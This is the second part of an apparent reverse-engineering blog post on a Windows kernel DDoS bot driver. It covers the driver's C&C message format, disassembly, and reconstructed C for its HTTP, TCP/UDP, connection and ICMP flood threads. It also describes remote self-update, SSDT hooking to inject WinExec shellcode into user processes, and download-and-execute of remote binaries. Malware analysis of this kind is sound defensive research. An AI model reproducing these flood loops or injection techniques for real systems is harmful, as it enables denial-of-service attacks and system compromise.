DDoS Driver 2/2
In the previous part i mentioned a task array and described only part of the message structure, let’s resume from here and fill in the gaps: a task is described by the following structure:
struct task_entry {
BOOL active; // 1 if the task is running, 0 otherwise
BYTE id; // id of task (it's index into array)
BYTE tcpUdp;
WORD frequency; // how fast send packets
WORD port1;
WORD port2;
WORD pktSize;
DWORD target; // DDoS target address
char * data;
}
and this is the complete message structure:
struct Message {
WORD magic; // BAFAh
WORD msgLen;
BYTE cmd; // command to execute
WORD waitTime; // wait time (# of seconds) before recontact C&C
BYTE id; // id of work to be added/replaced
BYTE threadNr;
WORD frequency;
WORD port1;
WORD port2;
WORD pktSize;
BYTE stopCnt;
BYTE stopIds[1];
}
cmd takes values from 1 to 9: each of them specifies a different command.
1 – HTTP
The target hostname and HTTP request string are extracted from the message: they are encoded as <target_hostname>!<HTTP request> at the end of the message (that is after the stopIds array, if there is any)
mov esi, [ebp+message] movzx eax, [esi+NUPS_MESSAGE.stopCnt] push edi lea ebx, [eax+esi+NUPS_MESSAGE.stopIds] push '!' ; int push ebx ; char * call ds:strchr mov edi, eax test edi, edi pop ecx pop ecx jz ERROR
the extracted hostname is resolved
and byte ptr [edi], 0 push ebx ; hostname call resolveHostname
and here the HTTP request is copied into the newly allocated buffer which will be assigned to the data field of the task entry
push 206B6444h push 1024 ; NumberOfBytes push PagedPool ; PoolType call ds:ExAllocatePoolWithTag movzx ecx, [esi+NUPS_MESSAGE.id] mov edx, task_array imul ecx, size TASK_ENTRY mov [ecx+edx+TASK_ENTRY.data], eax ... lea ecx, [edi+1] ;edi+1 points to the chracter after '!' loc_11E39: ; strcpy mov al, [ecx] inc ecx mov [edx], al inc edx test al, al jnz short loc_11E39 ...
after that the task entry corresponding to msg.id is filled with the information from the message:
; esi points to the message movzx eax, [esi+NUPS_MESSAGE.id] mov ecx, task_array imul eax, size TASK_ENTRY mov [eax+ecx+TASK_ENTRY.Active], 1 mov al, [esi+NUPS_MESSAGE.id] mov edx, task_array movzx ecx, al imul ecx, size TASK_ENTRY mov [ecx+edx+TASK_ENTRY.Id], al movzx eax, [esi+NUPS_MESSAGE.id] mov cx, [esi+NUPS_MESSAGE.port1] imul eax, size TASK_ENTRY mov edx, task_array mov [eax+edx+TASK_ENTRY.Port1], cx movzx eax, [esi+NUPS_MESSAGE.id] mov ecx, task_array imul eax, size TASK_ENTRY mov edx, [ebp+target] mov [eax+ecx+TASK_ENTRY.Address], edx movzx eax, [esi+NUPS_MESSAGE.id] mov cx, [esi+NUPS_MESSAGE.frequency] imul eax, size TASK_ENTRY mov edx, task_array mov [eax+edx+TASK_ENTRY.Freq], cx
once the setup fase is completed it spawns the threads that do the real work
while(message.threadNr > 0)
PsCreateSystemThread(&thHandle, 0,0,0,0, HTTP_DDOS_THREAD, msg.id)
the HTTP_DDOS_THREAD function is like this:
PVOID buff;
LARGE_INTEGER delay;
sockaddr_in sockaddr;
char *httpData;
DWORD id;
if = (DWORD) StartContext;
delay.QuadPart = WDF_REL_TIMEOUT_IN_MS * task_array[id].frequency;
buff = ExAllocatePoolWithTag(PagedPool, 1024, 0x206B6444);
if (buff == NULL)
PsTerminateSystemThread(0);
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = task_array[id].port1;
sockaddr.s_addr = task_array[id].target;
httpData = task_array[id].data;
// ExitFlag is a global flag used to interrupt the driver operations
while ( !ExitFlag && task_array[id].active == TRUE )
{
tdi_socket = TDI_SOCKET(TCP);
if ( tdi_socket > 0 )
{
if ( TDI_OPEN_SOCKET(tdi_socket, &sockaddr) >= 0 )
{
TDI_SEND(tdi_socket, httpData, strlen(httpData));
TDI_RECV(tdi_socket, buff, 1024);
}
TDI_CLOSE(tdi_socket);
}
if (task_array[id].frequency)
KeDelayExecutionThread(KernelMode, FALSE, &delay);
}
ExFreePoolWithTag(buff, 0);
2/3 – TCP/UDP
As in the previous case the steps are the same: the task entry is being filled from the message and then several threads are spawned, let’s jump directly to the thread code, it starts by allocating a buffer for the data to be sent
movzx eax, [ebx+TASK_ENTRY.PktSize] push 206B6444h ; Tag push eax ; NumberOfBytes push 1 ; PoolType call ds:ExAllocatePoolWithTag xor edi, edi cmp eax, edi mov [ebp+send_buff], eax
the buffer is filled with random data
xor ebx, ebx ... FILL_BUFF_RAND: call ds:rand cdq mov ecx, 100h ; % FF idiv ecx mov eax, [ebp+send_buff] mov [ebx+eax], dl mov eax, task_array movzx ecx, [esi+eax+TASK_ENTRY.PktSize] inc ebx cmp ebx, ecx jl short FILL_BUFF_RAND
and then it starts sending packets
sockaddr_in sockaddr;
sockaddr.sin_family = AF_INET;
sockaddr.s_addr = task_array[id].target;
// create and fill up send_buff
// ExitFlag is a global flag used to interrupt the driver operations
while ( !ExitFlag && task_array[id].active == TRUE )
{
if (task_array[id].TcpUdp == 3)
tdi_socket = TDI_SOCKET(UDP);
else
tdi_socket = TDI_SOCKET(TCP);
if ( tdi_socket > 0 )
{
if (task_array[id].port1 != task_array[id].port2)
sockaddr.sin_port = htons(task_array[id].port1 + (rand() % (task_array[id].port2 - task_array[id].port1) + 1))
else
sockaddr.sin_port = htons(task_array[id].port1);
if ( TDI_OPEN_SOCKET(tdi_socket, &sockaddr) >= 0 )
TDI_SEND(tdi_socket, send_buff, task_array[id].PktSize);
TDI_CLOSE(tdi_socket);
}
if (task_array[id].frequency)
KeDelayExecutionThread(KernelMode, FALSE, &delay);
}
ExFreePoolWithTag(buff, 0);
4 – TCPCON
the init part is identical to the others, this is like a wannabe-SYN-Dos, you see it’s missing the TDI_CLOSE()
while ( !ExitFlag && task_array[id].active == TRUE )
{
tdi_socket = TDI_SOCKET(TCP);
if ( tdi_socket > 0 )
{
if (task_array[id].port1 != task_array[id].port2)
sockaddr.sin_port = htons(task_array[id].port1 + (rand() % (task_array[id].port2 - task_array[id].port1) + 1))
else
sockaddr.sin_port = htons(task_array[id].port1);
TDI_OPEN_SOCKET(tdi_socket, &sockaddr);
}
if (task_array[id].frequency)
KeDelayExecutionThread(KernelMode, FALSE, &delay);
}
5 – ICMP
here ICMP echo packets are sent to the target, in this case the port1, port2 fields (both in message and in task) are used to specify the size of the packet. Some reference on how it works can be found here
space for packet is allocated:
movzx eax, [esi+eax+TASK_ENTRY.Port2] push 206B6444h ; Tag add eax, size ICMP_ECHO_REQUEST push eax ; NumberOfBytes push 1 ; PoolType call ds:ExAllocatePoolWithTag mov edi, eax
the structure is filled with the necessary information
mov eax, task_array mov eax, [esi+eax+TASK_ENTRY.Address] or [edi+ICMP_ECHO_REQUEST.Ttl], 255 mov [edi+ICMP_ECHO_REQUEST.Address], eax mov [edi+ICMP_ECHO_REQUEST.Timeout], 1 mov [edi+ICMP_ECHO_REQUEST.DataOffset], size ICMP_ECHO_REQUEST mov [edi+ICMP_ECHO_REQUEST.OptionsValid], bl ;ebx is 0 mov [edi+ICMP_ECHO_REQUEST.Tos], bl mov [edi+ICMP_ECHO_REQUEST.Flags], bl mov [edi+ICMP_ECHO_REQUEST.OptionsOffset], bx mov [edi+ICMP_ECHO_REQUEST.OptionsSize], bl mov [edi+ICMP_ECHO_REQUEST.Padding], bl
then it opens the device and sends IOCTL
push offset aDeviceIp ; "\\Device\\Ip" lea eax, [ebp+DestinationString] push eax ; DestinationString mov dword ptr [ebp+Interval+4], edx call ds:RtlInitUnicodeString lea eax, [ebp+DestinationString] mov [ebp+ObjectAttributes.ObjectName], eax mov eax, task_array xor ebx, ebx mov [ebp+ObjectAttributes.Length], 18h mov [ebp+ObjectAttributes.RootDirectory], ebx mov [ebp+ObjectAttributes.Attributes], 40h mov [ebp+ObjectAttributes.SecurityDescriptor], ebx mov [ebp+ObjectAttributes.SecurityQualityOfService], ebx ... push ebx ; EaLength push ebx ; EaBuffer push ebx ; CreateOptions push 1 ; CreateDisposition push 3 ; ShareAccess push 80h ; FileAttributes push ebx ; AllocationSize lea eax, [ebp+IoStatusBlock] push eax ; IoStatusBlock lea eax, [ebp+ObjectAttributes] push eax ; ObjectAttributes push 0C0000000h ; DesiredAccess lea eax, [ebp+Handle] push eax ; FileHandle call ds:ZwCreateFile ... movzx eax, dx add eax, 14h push eax ; OutputBufferLength lea ecx, [ebp+OutputBuffer] push ecx ; OutputBuffer push eax ; InputBufferLength push edi ; InputBuffer push 120000h ; IoControlCode lea eax, [ebp+IoStatusBlock] push eax ; IoStatusBlock push ebx ; ApcContext push ebx ; ApcRoutine push ebx ; Event mov [edi+ICMP_ECHO_REQUEST.DataSize], dx push [ebp+Handle] ; FileHandle call ds:ZwDeviceIoControlFile
7 – UPDATE
This command is used to update the driver, it first checks the password in the message before continuing:
cmp [esi+NUPS_MESSAGE.port1], 3039h
the message data is encoded like before: <target_hostname>!<HTTP request>
the http request specifies the path of the binary, that will be downloaded and substituted to the current one.
push 1 ; verifyMZSign lea ecx, [ebp+SrcPath] add eax, esi push ecx ; FilePath "\\??\\c:\\tmp.tmp" push [eax+TASK_ENTRY.data] ; HttpRequest push [eax+TASK_ENTRY.Address] ; address call RecvFile cdq mov ecx, 65536 idiv ecx mov eax, task_array movzx eax, [esi+eax+TASK_ENTRY.PktSize] pop edi pop esi cmp edx, eax
as you can see it’s present a check on the downloaded binary length, and it’s present a flag that checks if the downloaded binary starts with the ‘MZ’ signature. The received file is then substituted to the current .sys file.
Note: after substitution on filesystem, the new driver is not loaded.
8 – RUN COMMAND
in this case the message data contains a command to execute, the technique used is one of the different techniques one can use to execute commands from ring0 to ring3 on windows (thanks baidu)

Using the words of H D Moore:
Basically, the ring0 code hooks the system call entrypoint to point to its own stub. This entry point is called by every process that calls any system call. The stub then tries to determine whether the calling process is the target (lsass.exe is default). If the target process name matches, we reset the syscall hook and run the code in the target process. This means that one of the target process’s threads is randomly hijacked to run our code instead of what it was trying to do (call a system call).
[...]
but you have to wait for them to execute a system call to get your code injected.
and that’s exectly what it does, except that it doesnt do the check for the target process.
and IsHooked, 0 mov eax, ds:KeServiceDescriptorTable mov ecx, openkey_idx ; index of OpenKey function mov uCmdShow, 6 mov second_param, esi mov eax, [eax] mov eax, [eax+ecx*4] push offset aWaitExec ; "WAIT EXEC" mov originalOpenKey, eax mov IsHooked, 1 call DbgPrint mov [esp+8+stub_code], offset hijacking push openkey_idx call hook_SSDT
hook_SSDT is the classical function for changing a syscall in the SSDT, so let’s see directly the hijacking function:
.text:00011881 call PsGetCurrentProcessId .text:00011886 cmp eax, 4 ; dont hook System process .text:00011889 jbe short loc_118B5 .text:0001188B push originalOpenKey .text:00011891 push openkey_idx .text:00011897 call hook_SSDT ; restor original OpenKey .text:0001189C and IsHooked, 0 .text:000118A3 call injectCode ; inject code .text:000118A8 push eax .text:000118A9 push offset aRetI ; Format .text:000118AE call DbgPrint .text:000118B3 pop ecx .text:000118B4 pop ecx .text:000118B5 .text:000118B5 loc_118B5: .text:000118B5 jmp originalOpenKey
injectCode, allocates space in the target process, copies the shellcode into that and then calls KeUserModeCallback to execute the shellcode (it’s a classical WinExec shellcode).
9 – LOAD N EXEC
downloads a file from web and esecutes it.
the file is saved as “c:\\tmp.exe” and it is executed using the same code of CMDEXEC case.
and that’s it for now :P


One Response Leave a comment
good analysis swirl, i was waiting for this 2/2 episode :)